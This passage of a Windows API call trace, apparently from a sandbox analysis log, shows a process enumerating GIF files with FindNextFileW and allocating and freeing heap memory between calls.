| out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe10b8b00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe10b8b00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x134, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10265_.GIF", cAlternateFileName="")) returned 1 [0073.885] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.885] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.885] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.885] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.885] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.885] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa64730 [0073.885] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa872e8 [0073.885] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.885] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe23cb800, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe23cb800, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10266_.GIF", cAlternateFileName="")) returned 1 [0073.885] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.885] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.885] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.885] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.885] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.885] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa64750 [0073.885] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa873f0 [0073.885] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.885] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe23cb800, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe23cb800, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x137, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10267_.GIF", cAlternateFileName="")) returned 1 [0073.886] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.886] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.886] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.886] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.886] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.886] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa64770 [0073.886] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa874f8 [0073.886] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.886] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe23cb800, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc86dac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe23cb800, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10268_.GIF", cAlternateFileName="")) returned 1 [0073.886] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.886] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.887] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa64790 [0073.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa87600 [0073.887] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.887] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70656e00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x70656e00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x46b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10297_.GIF", cAlternateFileName="")) returned 1 [0073.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.887] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.887] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa647b0 [0073.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa87708 [0073.887] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.887] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70656e00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x70656e00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x467, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10298_.GIF", cAlternateFileName="")) returned 1 [0073.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.887] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.887] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.888] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa647d0 [0073.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa87810 [0073.888] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.888] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71969b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x71969b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10299_.GIF", cAlternateFileName="")) returned 1 [0073.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.888] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.888] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa647f0 [0073.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa87918 [0073.888] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.888] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71969b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x71969b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x105, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10300_.GIF", cAlternateFileName="")) returned 1 [0073.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.888] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.888] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.888] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa64810 [0073.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa87a20 [0073.889] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.889] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71969b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x71969b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x109, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10301_.GIF", cAlternateFileName="")) returned 1 [0073.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.889] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.889] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa64830 [0073.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa87b28 [0073.889] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.889] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72c7c800, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72c7c800, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10302_.GIF", cAlternateFileName="")) returned 1 [0073.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.889] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.889] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa64850 [0073.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa87c30 [0073.889] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x30c0) returned 0xa94c50 [0073.890] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa88478) returned 1 [0073.890] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.890] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x604e8e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x604e8e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10335_.GIF", cAlternateFileName="")) returned 1 [0073.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.890] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.890] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa64870 [0073.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa87d38 [0073.890] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.890] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x604e8e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x604e8e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10336_.GIF", cAlternateFileName="")) returned 1 [0073.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.890] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.890] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa64890 [0073.890] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa87e40 [0073.891] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.891] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x604e8e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x604e8e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10337_.GIF", cAlternateFileName="")) returned 1 [0073.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.891] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.891] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa648b0 [0073.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa87f48 [0073.891] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.891] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ebfa00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7ebfa00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14513_.GIF", cAlternateFileName="")) returned 1 [0073.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.891] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.891] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa648d0 [0073.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa88050 [0073.891] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.891] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91d2700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb91d2700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14514_.GIF", cAlternateFileName="")) returned 1 [0073.891] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.892] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.892] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa648f0 [0073.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa88158 [0073.892] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.892] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91d2700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb91d2700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14515_.GIF", cAlternateFileName="")) returned 1 [0073.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.892] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.892] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa64910 [0073.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa88260 [0073.892] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.892] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd05b1500, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd05b1500, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x111, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14528_.GIF", cAlternateFileName="")) returned 1 [0073.892] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.893] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.893] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa64930 [0073.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa88368 [0073.893] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.893] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd18c4200, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd18c4200, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x112, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14529_.GIF", cAlternateFileName="")) returned 1 [0073.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.893] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.893] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa64950 [0073.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa77190 [0073.893] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.893] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd18c4200, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd18c4200, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x13c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14530_.GIF", cAlternateFileName="")) returned 1 [0073.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.893] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.893] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.894] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa64970 [0073.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa773a0 [0073.894] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.894] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2bd6f00, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd2bd6f00, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14531_.GIF", cAlternateFileName="")) returned 1 [0073.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.894] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.894] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0073.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0073.894] RtlAllocateHeap 